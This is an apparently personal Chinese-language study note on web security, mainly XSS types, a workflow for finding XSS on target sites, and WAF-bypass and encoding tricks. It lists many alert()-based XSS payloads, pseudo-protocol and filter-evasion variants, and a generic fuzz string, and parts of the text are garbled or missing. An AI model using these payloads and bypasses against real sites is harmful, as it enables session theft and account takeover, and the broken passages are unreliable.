这篇聊聊Web安全。起因是在今年公司里我主导上线了一个开发者社区的站点,这个站点中注册用户可以公开发布自己的原创文章,而且去评论点赞等功能;在安全评审时,安全的人提了几个安全单子,里面涉及了一些经典的安全场景;就做一个web安全知识的汇总,给自己做一个梳理, 希望自己以后不会给安全的兄弟添堵。
CSRF
待补充…
XSS
(Cross Site Scripting) 跨站脚本攻击。在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。
XSS分三类:
- 反射型XSS: 将恶意代码伪装到url中,诱导受害者点击,服务端未做过滤而直接把结果透出给用户浏览器,恶意脚本得到执行。具有单一性。
- 存储型XSS: 恶意脚本被持久化存储。常见于表单提交
- DOM XSS: 不需要客户端参与就被执行的xss
反射XSS
反射XSS的存在,一定是伴随着输入与输出2个概念的。要想过滤掉XSS,可以在输入层面过滤,也可以在输出层面过滤。这里的输入指的是提交内容,而输出就是从服务器的返回并最终渲染到浏览器上的内容。
无防护
输入被直接输出。比如表单中有www.baidu.com/?hhh=<img src=1 onerror=alert(1);>
,请求后在浏览器中<img />
被正常渲染,这时输入输出都未做防护,可直接xss。这种情况常见于某个请求打到服务端,未经任何处理直接返回客户端,尤其是get请求。
通常过滤掉标签元素即可, 这类 XSS 通常都被浏览器的 XSS 过滤器秒杀了,所以一般来说,威力较小。
<HTML 标签></HTML 标签>
[输出]
<HTML 标签></HTML 标签>
<HTML 标签>[输出]</HTML 标签>
利用 和js输出
理论上只要有输出存在于 如果被过滤,往往没有太好的办法。 而上面这2种情况,则有一个很好的办法绕过过滤。
在html属性中,浏览器会自动对实体字符进行转义, 如果目标没有对&
和#
进行过滤,即便过滤了双引号,在属性中我们仍然可以通过转义写入任意字符
这种情况下要具体对待去决定如何过滤,有时候直接把&
过滤为&
会比较省时省力
符号攻击
宽字节
待补充…
反斜线
原理是通过篡改输入,在输入中加入反斜线来使双引号失效,从而获取更多的拼接可能性,最终完成xss。
换行符
常见于输出点在注释中的情况下。如果输出内容可以被控制,一个换行符就可以打破注释,使代码得到执行。
DOM XSS
按照我目前的理解,其实是输出点恶意利用js的执行,从而达到攻击的目的。比如替换innerhtml或者写document等。
就我自己的经历中,遇到最多的是广告注入。广告联盟会通过自定义的打包编码方式,将字串html实体编码或者base64,然后变成脚本探针去直接eval,而这种eval的结果是在屏幕两侧fix广告悬浮窗。
常见问题经常发生在没有过滤\
,&
等关键字的情况下,也就就是一些基础防护没有做好时会被网络上的随机扫描器扫到漏洞,从而尝试注入。
这种攻击,基础分类有两种,一种是显式输出
一种是隐式输出
, 区别在于,显式可以直观的从html等doc内容上看到javascript做了什么从而进行分析;而隐式输出特点在于大部分js逻辑都存在于外联式的js脚本中,现代前端应用构建大量使用了React/Vue甚至Angular等技术,核心js逻辑都通过这种外联都方式引入到页面资源中。
显示输出可以在<script>
元素中看到js执行而影响html元素到最终渲染逻辑,而隐式输出是通过js资源的加载,然后执行,才影响最终结果,但本质是一样的。同时也要注意到隐式(其实目前大部分前端应用都这样了)的js资源都经过了混淆,对其进行分析的难度比以前大一点,因为命名改变看起来会很麻烦。
eval
案例: https://keybut.com/us/10099/92f61495ab80.js
上面是一个真实的eval探针。
路径可控(伪协议)
<iframe src="[输出]"></iframe>
iframe的src属性本来应该是一个网址,但是iframe之善变,使得它同样可以执行javascript伪协议,而且可以用不同的姿势来执行。这一类问题归为路径可控问题。
当然上面说到的是普通的反射型XSS。有时候程序员会使用js代码来动态的改变iframe的src属性,譬如:iframeA.src=”[可控的 url]”; 同样会导致XSS问题。
有类似问题的不止iframe,经常用的<a>
,<img>
都可以被利用。
<iframe onload="alert(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe> <!-- ie -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
路径可控分三个层面,
script src="完全可控"
, 这种就简单了,直接将地址换为我们的js地址script src="/path/xxx/[路径可控]/1.js"
这种要利用的话,需要同域名下有可控的文件,可控文件又分为2种- 可以直接上传文本至同域名下,不一定要是 HTML 文件,需要上传点有过滤缺陷
- 参数可控,利用可用的json接口,最终拼装成
script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"
script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[参数可控]"
如果参数可控,且 json 的参数没有很好的过滤时。我们就有机可乘了。
上述的2.2和3,在jsonp且参数没有严格控制的方案中可以进行攻击。开发者要对jsonp接口的callback参数进行更加严格的字符控制,一般的callback,只需要允许,字母,数字+下划线即可。
Flash XSS
浏览器flash已经成为历史,在去年chrome已经正式宣布不再支持flash。再讨论与flash有关的xss,也只对那些远古网站可能生效,但互联网的发展速度是很快的,纠结于flash已经不再有意义,因此这部分也不再补充和学习。
存储XSS
与XSS对抗的叫做WAF(Web application firewall),是一种综合的用于应对Web工具的技术手段。WAF所防御的不仅是XSS,也包括sql注入,路径获取,资源窥探等多种攻击手段。
存储xss与反射类似,但区别是存储有一个持久化的过程,大部分是入数据库;另一个区别是反射基本是输出和输出在同一个地方,而存储的输出是多样的,很可能输入是单一的,但多个地方都会收到这个输出的影响。其他方面存储xss的攻击原理和反射并无二致,寻找存储xss的思路会比反射更加复杂一点;你的输入点未必就是你的输出点,输入点和输出点之间的关系,对不同目标的不同业务功能之间,差异也会很大,这时候进行逆向思维去寻找漏洞反而更加容易找到。
存储xss在富文本编辑器中十分常见,比如制作一个论坛形式的功能,具有表单提交模块,对存储xss的防御必不可少。这里之后可能会补充一些专门防御表单提交和富文本场景的解决方案。
渗透
到这里,我们对xss已经具备了基本对认知,对各种类型的xss都有了初步的认识;下面就聊聊如何从一个目标网站里挖掘xss漏洞。
流程
- 观察输出点,测试waf的过滤情况。
用一些集成了多种xss特征的通用输入来对目标输入点进行测试,比如
然后观察输出情况,一些特殊字符是否被编码、标签是否被过滤、输出点在标签之间或标签之内;通过输出点给出的信息对waf过滤规则进行猜测;当然这些测试的xss输入是不唯一且多变的,可自行在网络上搜索xss字典进行使用,甚至可以基于字典来写自定义脚本来批量测试。"'<script javascript onload src><a href></a>#$%^ 全面: '";!-=#$%^&{()}<script javascript data onload href src img input><a href></a>alert(String.fromCharCode(88,83,83));prompt(1);confirm(1)</script>
除此之外,也有一些不错的安全工具可以帮我们执行扫描,比如noxss。
在这一步,我们主要是想得到合适的输出位置,摸到waf的规则。 - 依据输出位置进行XSS。
- 标签之间:
模型: <div>[xss]</div> 输出 <script>alert(1)</script>或者<img src=1 onerror=alert(1)>
这些标签有:
<a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset> <embed> <svg> <video> <audio>
自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非我们闭合掉它们。
<textarea></textarea> <title></title> <iframe></iframe> <noscript></noscript> <noframes></noframes> <xmp></xmp> <plaintext></plaintext> 其他:<math></math>也不行
- 在JS标签内:
在该位置,空格被过滤,可用/**/
代替空格,比如function/**/from
,即便空格被过滤可以定义函数。输出在注释中,通过换行符%0a %0d使其逃逸出来。- 不在字符串中。 判断<>/是否被过滤。如果没有,那么直接插入就可以。
<script> [output] </script> payload:</script><script>alert(1)</script>
- 在字符串中。此时需要闭合字符串,并保证插入的JS代码符合语法规范。
大部分的waf规则对引号都有过滤,而输出点在字符串中就势必要用引号闭合;如果我们无法闭合包括字符串的引号(引号被转义),就很难利用,除非存在两个输出点或宽字节。
在网页为GBK编码时,存在宽字节问题。
```
宽字节问题:
GBK编码第一字节(高字节)的范围为:0x810xFE0x7E、0x80~0xFE
GBK编码第二字节(低字节)的范围为:0x40
\符号的十六进制为0x5C, 刚好处在GBK的低字节中,如果前面有一个高字节(如%c0),那么
恰好会被组合成一个合法的字符,从而\被吃掉,双引号逃逸出来。
+ 输出在HTML属性内
1. 文本属性中 <br />
`<input value="输出">`、`<img onload="...[输出]...">`,再比如`<body style="...[输出]...">`
如果没引号包裹,直接添加新属性;有引号包括首先测试引号是否可用,可用则闭合属性之后添加新的事件属性。<br />
HTML的属性,如果被进行HTML实体编码(形如''),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。
2. src/href/action/xlink:href/autofocus/content/data 等属性 <br />
使用伪协议。
```
javascript 伪协议: <a href=javascript:alert(2)>test</a>
data 协议执行 javascript: <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被拦截,Firefox可以)
urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(测试未通过)
不使用 href 的另外一种组合来执行 js: <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>(均可) 或者:
<math><a xlink:href=javascript:alert(1)>1</a></math>(Chrome不可,Firefox可以)
```
3. on*事件中。输出点直接在各种可执行js的实践中,典型的xss,也可以配合伪协议。
4. style属性内及css代码之中IE可执行,并且在IE6以上被防御,不适合其他浏览器,已经很难再见到了
+ 输出在meta标签
```
waf的bypass
- 单次过滤规则绕过:有些规则仅进行一次过滤替换,可以通过双重复写绕过
<scr<script>ipt>
- 大小写绕过:
<sCript>
- alert被过滤,可以尝试prompt和confirm
- 没有引号和分号:
<IMG SRC=javascript:alert('XSS')>
- 空格被过滤
<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
(这一条我其实有点疑问是原理是什么) - 长度限制时:
<q/oncut=alert(1)>//在限制长度的地方很有效
- 单引号及双引号被过滤情况:
<script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
- javascript伪协议
- 畸形payload:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
- /的妙用:
<script>alert(/3/)</script>
- 括号被过滤,可以使用throw来抛出数据
```
### 编码
[一篇非常好的文章](http://bobao.360.cn/learning/detail/292.html)
浏览器所支持的编码:
+ URL编码:
+ HTML实体编码:
+ JS编码
+ CSS编码
浏览器收到HTML内容后,会从头开始解析。当遇到JS代码时,会使用JS解析器解析。当遇到URL时,会使用URL解析器解析。遇到CSS则用CSS解析器解析。尤其当遇到复杂代码时,可能该段代码会经过多个解析器解析。
由于不同的解析器能够分别对一些编码格式进行解析,所以我们可以通过生成特定格式的编码代码,令其在依次解码后能够正确执行,从而绕过WAF。
该代码能够正确执行。
首先,经过HTML解析之后,代码会变成
此时,由于javascript已经生成,不违反URL解析规则。所以,URL解析正常。解析了javascript,最终进入JS解析器。注意,URL解析器还完成了URL解码工作。
所以,JS最终解析的代码时alert(2).成功执行。
总结来说,各种编码在XSS中的利用非常灵活,我们需要在充分了解浏览器的解析原理合理构造合理编码顺序的代码,最终构造出Payload。
## 防御
chrome自身是带有xss过滤功能的,在14年之前,chrome xss filter基于[火狐的CSP策略](https://wiki.mozilla.org/Security/CSP/Specification)拦截,也就是把匹配到的XSS标签进行处理,后来替换成了[w3c的csp标准](https://www.w3.org/TR/CSP/)。
在js中对输入进行过滤: https://github.com/leizongmin/js-xss/blob/master/README.zh.md
xss扫描字典: https://github.com/TheKingOfDuck/easyXssPayload
对用户表单进行再编码
# 反爬
待补充